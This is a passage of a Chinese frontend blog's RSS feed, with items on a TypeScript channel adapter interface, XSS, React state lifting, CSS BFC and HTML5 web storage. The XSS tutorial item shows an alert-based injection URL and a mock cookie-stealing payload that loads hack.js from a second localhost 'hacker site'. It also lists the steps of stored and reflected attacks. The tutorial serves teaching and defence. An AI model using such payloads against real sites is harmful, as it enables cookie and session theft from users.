&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;secrets?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelSecretsAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;allowlist?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelAllowlistAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;doctor?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelDoctorAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;bindings?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelConfiguredBindingProvider&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;conversationBindings?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelConversationBindingSupport&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;streaming?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelStreamingAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;threading?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelThreadingAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;messaging?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelMessagingAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;agentPrompt?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelAgentPromptAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;directory?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelDirectoryAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;resolver?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelResolverAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;actions?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelMessageActionAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;heartbeat?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelHeartbeatAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;agentTools?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelAgentToolFactory&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ChannelAgentTool&lt;/span&gt;[];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个接口一共有 &lt;strong&gt;40 多个可选的 adapter&lt;/strong&gt;，每个对应一种能力：&lt;/p&gt;</description></item><item><title>网络安全</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-015/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-015/</guid><description>&lt;h2 id="1xss"&gt;1、XSS&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="what-is-xss"&gt;what is XSS?&lt;/h3&gt;
&lt;p&gt;我们先从字面意义上看一下,跨站-&amp;gt;顾名思义就是我们从一个网站跑到了另外一个网站上,脚本-&amp;gt;也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。&lt;/p&gt;
&lt;p&gt;例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie&lt;/p&gt;
&lt;h3 id="xss危害"&gt;XSS危害&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1、利⽤虚假输⼊表单骗取⽤户个⼈信息。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2、利⽤脚本窃取⽤户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3、显示伪造的⽂章或图⽚。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="简单演示"&gt;简单演示&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 普通
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://localhost:3000/?from=china
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// alert尝试
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://localhost:3000/?from=&amp;lt;script&amp;gt;alert(3)&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 如果可以弹出3,证明这个输入框没有过滤html标记
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;模拟获取cookie&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://localhost:3000/?from=&amp;lt;script src=&amp;#34;http://localhost:4000/hack.js&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;后台代码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;koa&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;koa&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 启动在4000端口上
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;chalk&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;contents&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;red&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;contents&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;//打印cookie
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 模拟黑客网站
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;koa&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exports&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="存储型server端"&gt;存储型（server端）：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;场景：见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;攻击步骤：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1、攻击者将恶意代码提交到目标网站的数据库中
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2、用户打开目标网站时，服务端将恶意代码从数据库中取出来，拼接在HTML中返回给浏览器
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3、用户浏览器在收到响应后解析执行，混在其中的恶意代码也同时被执行
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4、恶意代码窃取用户数据，并发送到指定攻击者的网站，或者冒充用户行为，调用目标网站的接口，执行恶意操作
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="反射型server端"&gt;反射型（Server端）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;与存储型的区别在于，存储型的恶意代码存储在数据库中，反射型的恶意代码在URL上&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;场景：通过 URL 传递参数的功能，如网站搜索、跳转等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;攻击步骤：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1、攻击者构造出特殊的 URL，其中包含恶意代码。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2、用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3、用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4、恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="dom-型浏览器端"&gt;Dom 型(浏览器端）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。&lt;/p&gt;</description></item><item><title>react 状态提升</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/</guid><description>&lt;p&gt;在开始介绍状态提升之前，我想先介绍一下 Prop Drilling（属性钻取）的概念。&lt;/p&gt;
&lt;h2 id="什么是prop-drilling-"&gt;什么是Prop Drilling ？&lt;/h2&gt;
&lt;p&gt;那么，什么是状态提升呢？我们都知道 React 中的&lt;strong&gt;prop drilling&lt;/strong&gt;（属性钻取）。&lt;strong&gt;prop drilling&lt;/strong&gt;意味着从父组件向子组件传递一些 props。通过这种方式，我们可以在不同的组件之间共享数据或函数。可以使用 prop 传递任何类型的数据。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;在上面的示例代码中，你可以看到，Home 组件具有一个名为 name 的状态，并且她与子组件共用 name 变量。在 React 中，只能将数据从父组件传递到子组件。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/image-02.webp"&gt;&lt;/p&gt;
&lt;h2 id="什么是-state-lifting"&gt;什么是 State Lifting&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;一般来说，状态提升允许你将数据从子组件移动到父组件，与Props Drilling不同，你可以在父组件使用子组件的状态值。这是不是很疯狂？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 React 生态中，我们知道数据只能从父组件流向子组件，但现在将学习如何让数据反过来流动。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;但是，为什么要这么做？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们可以在父组件中定义状态并将其以 prop 的方式传递给子组件，但是这么做有可能会导致性能损失和代码复杂度提升。在我之前的博客中有提到：保持状态本地化很重要。因为当状态更新时，组件以及该组件的子组件都会重新渲染。&lt;/p&gt;
&lt;p&gt;此外对于代码复杂性，对于如 Modal 这样的组件，选择在子组件中声明状态而不是在父组件中声明状态，将能够使代码更易于阅读。使用这种方法，你不必在每个父组件中声明状态。&lt;/p&gt;
&lt;p&gt;通常对应用程序中的大多数组件来说，这是不必要的。但是，对于某些类型的组件，特别是可重用组件，会有这种需求。下面描述一下最通用的场景。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;多说无用，上代码：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;例如，我们有一个常见的 Modal 组件，我们想要在 Modal 中保留可见性状态。当一些组件想要使用这个 Modal 时，通常会定义自己的可见状态，但是通过 State Lifting，这个步骤将不再必要。&lt;/p&gt;
&lt;p&gt;在 上面的 Modal 组件中，做了如下操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;首先，使用forwardRef执行 ref 转发，ref 转发是一种自动将 ref 通过组件传递给子组件的技术。&lt;/li&gt;
&lt;li&gt;使用 useState 声明状态以控制Modal组件的展示或隐藏。&lt;/li&gt;
&lt;li&gt;使用 React 内置的 &lt;code&gt;useImperativeHandle&lt;/code&gt; hook 将属性或者方法暴露出去，这里我们添加了一些数据和函数供父组件使用。现在父组件可以直接调用子组件的&lt;code&gt;show&lt;/code&gt;、&lt;code&gt;hide&lt;/code&gt;、&lt;code&gt;isVisble&lt;/code&gt;这些方法和属性。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-015/image-05.webp"&gt;&lt;/p&gt;</description></item><item><title>BFC</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/bfc/</link><pubDate>Sat, 09 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/bfc/</guid><description>&lt;p&gt;&lt;code&gt;BFC&lt;/code&gt; 是前端面试中经常会被问到的一个知识点，今天就来带大家深入了解下什么是 &lt;code&gt;BFC&lt;/code&gt; 以及它的作用。&lt;/p&gt;
&lt;h2 id="文档流"&gt;文档流&lt;/h2&gt;
&lt;p&gt;在介绍BFC之前，需要先给大家介绍一下文档流。&lt;/p&gt;
&lt;p&gt;我们常说的文档流其实分为&lt;code&gt;定位流&lt;/code&gt;、&lt;code&gt;浮动流&lt;/code&gt;、&lt;code&gt;普通流&lt;/code&gt;三种。&lt;/p&gt;
&lt;h2 id="绝对定位absolute-positioning"&gt;绝对定位(Absolute positioning)&lt;/h2&gt;
&lt;p&gt;如果元素的属性 &lt;code&gt;position&lt;/code&gt; 为 &lt;code&gt;absolute&lt;/code&gt; 或 &lt;code&gt;fixed&lt;/code&gt;，它就是一个绝对定位元素。&lt;/p&gt;
&lt;p&gt;在绝对定位布局中，元素会整体脱离普通流，因此绝对定位元素不会对其兄弟元素造成影响，而元素具体的位置由绝对定位的坐标决定。&lt;/p&gt;
&lt;p&gt;它的定位相对于它的包含块，相关CSS属性：&lt;code&gt;top&lt;/code&gt;、&lt;code&gt;bottom&lt;/code&gt;、&lt;code&gt;left&lt;/code&gt;、&lt;code&gt;right&lt;/code&gt;；&lt;/p&gt;
&lt;p&gt;对于 &lt;code&gt;position: absolute&lt;/code&gt;，元素定位将相对于上级元素中最近的一个&lt;code&gt;relative、fixed、absolute&lt;/code&gt;，如果没有则相对于body；&lt;/p&gt;
&lt;p&gt;对于 &lt;code&gt;position:fixed&lt;/code&gt;，正常来说是相对于浏览器窗口定位的，但是当&lt;strong&gt;元素祖先的 &lt;code&gt;transform&lt;/code&gt; 属性非 &lt;code&gt;none&lt;/code&gt; 时，会相对于该祖先进行定位&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="浮动-float"&gt;浮动 (float)&lt;/h2&gt;
&lt;p&gt;在浮动布局中，元素首先按照普通流的位置出现，然后根据浮动的方向尽可能的向左边或右边偏移，其效果与印刷排版中的文本环绕相似。&lt;/p&gt;
&lt;h2 id="普通流-normal-flow"&gt;普通流 (normal flow)&lt;/h2&gt;
&lt;p&gt;普通流其实就是指BFC中的FC。FC(&lt;code&gt;Formatting Context&lt;/code&gt;)，直译过来是格式化上下文，它是页面中的一块渲染区域，有一套渲染规则，决定了其子元素如何布局，以及和其他元素之间的关系和作用。&lt;/p&gt;
&lt;p&gt;在普通流中，元素按照其在 HTML 中的先后位置至上而下布局，在这个过程中，行内元素水平排列，直到当行被占满然后换行。块级元素则会被渲染为完整的一个新行。&lt;/p&gt;
&lt;p&gt;除非另外指定，否则所有元素默认都是普通流定位，也可以说，普通流中元素的位置由该元素在 HTML 文档中的位置决定。&lt;/p&gt;
&lt;h2 id="bfc-概念"&gt;BFC 概念&lt;/h2&gt;
&lt;p&gt;先看下MDN上关于BFC的定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;块格式化上下文（&lt;code&gt;Block Formatting Context&lt;/code&gt;，&lt;code&gt;BFC&lt;/code&gt;） 是Web页面的可视CSS渲染的一部分，是块盒子的布局过程发生的区域，也是浮动元素与其他元素交互的区域。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;具有 &lt;code&gt;BFC&lt;/code&gt; 特性的元素可以看作是隔离了的独立容器，容器里面的元素不会在布局上影响到外面的元素，并且 &lt;code&gt;BFC&lt;/code&gt; 具有普通容器所没有的一些特性。&lt;/p&gt;
&lt;p&gt;通俗一点来讲，可以把 &lt;code&gt;BFC&lt;/code&gt; 理解为一个封闭的大箱子，箱子内部的元素无论如何翻江倒海，都不会影响到外部。&lt;/p&gt;
&lt;p&gt;除了 BFC，还有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IFC&lt;/code&gt;（行级格式化上下文）- &lt;code&gt;inline&lt;/code&gt; 内联&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GFC&lt;/code&gt;（网格布局格式化上下文）- &lt;code&gt;display: grid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FFC&lt;/code&gt;（自适应格式化上下文）- &lt;code&gt;display: flex&lt;/code&gt;或&lt;code&gt;display: inline-flex&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：同一个元素不能同时存在于两个 &lt;code&gt;BFC&lt;/code&gt; 中。&lt;/p&gt;</description></item><item><title>离线存储</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-015/</link><pubDate>Wed, 16 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-015/</guid><description>&lt;p&gt;HTML5 离线存储是指通过 &lt;strong&gt;Web Storage&lt;/strong&gt; API 提供的一种在客户端本地存储数据的机制，主要有两种方式：&lt;strong&gt;localStorage&lt;/strong&gt; 和 &lt;strong&gt;sessionStorage&lt;/strong&gt;。与传统的 Cookie 相比，Web Storage 提供了更大容量、灵活性，并且数据不会随着 HTTP 请求自动发送到服务器，这可以优化性能和安全性。此外，HTML5 还支持 &lt;strong&gt;离线应用缓存（Application Cache）&lt;/strong&gt; 和 &lt;strong&gt;IndexedDB&lt;/strong&gt;，用于更加复杂的数据存储需求和离线应用。&lt;/p&gt;
&lt;h3 id="工作原理"&gt;工作原理&lt;/h3&gt;
&lt;p&gt;HTML5 的离线存储主要通过以下几个机制来实现数据存储和访问：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;localStorage&lt;/strong&gt;：一种持久性存储机制，数据存储在用户的浏览器中，即使关闭浏览器或重新加载页面，数据也不会丢失，除非明确被删除。其特点是跨页面、跨会话存储数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;sessionStorage&lt;/strong&gt;：会话级别的存储机制，只在当前页面的会话期间有效。当会话结束或浏览器窗口关闭时，数据会自动删除。其特点是只能在当前窗口或标签页中存储数据，不能跨窗口或标签页共享。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Application Cache（已被 Service Worker 替代）&lt;/strong&gt;：允许开发者将网站的某些资源缓存到本地，使得用户即使在离线的情况下也能访问特定页面。虽然该机制已被弃用，但它曾经是实现离线访问的核心。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IndexedDB&lt;/strong&gt;：一种更为复杂的浏览器内置数据库，支持存储结构化数据，如对象和文件。它适用于更大规模的数据存储需求，并且允许通过索引进行高效的查询和数据操作。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="使用方式"&gt;使用方式&lt;/h3&gt;
&lt;h4 id="1-localstorage"&gt;1. &lt;strong&gt;localStorage&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：持久性存储，浏览器关闭后数据依然存在，除非手动清除。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用方式&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 存储数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;localStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 获取数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;localStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 删除数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;localStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;removeItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 清空所有 localStorage
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;localStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;clear&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2-sessionstorage"&gt;2. &lt;strong&gt;sessionStorage&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：仅在当前会话期间有效，浏览器关闭或页面重新加载后数据会被清除。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用方式&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 存储数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sessionStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;sessionKey&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;sessionValue&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 获取数据
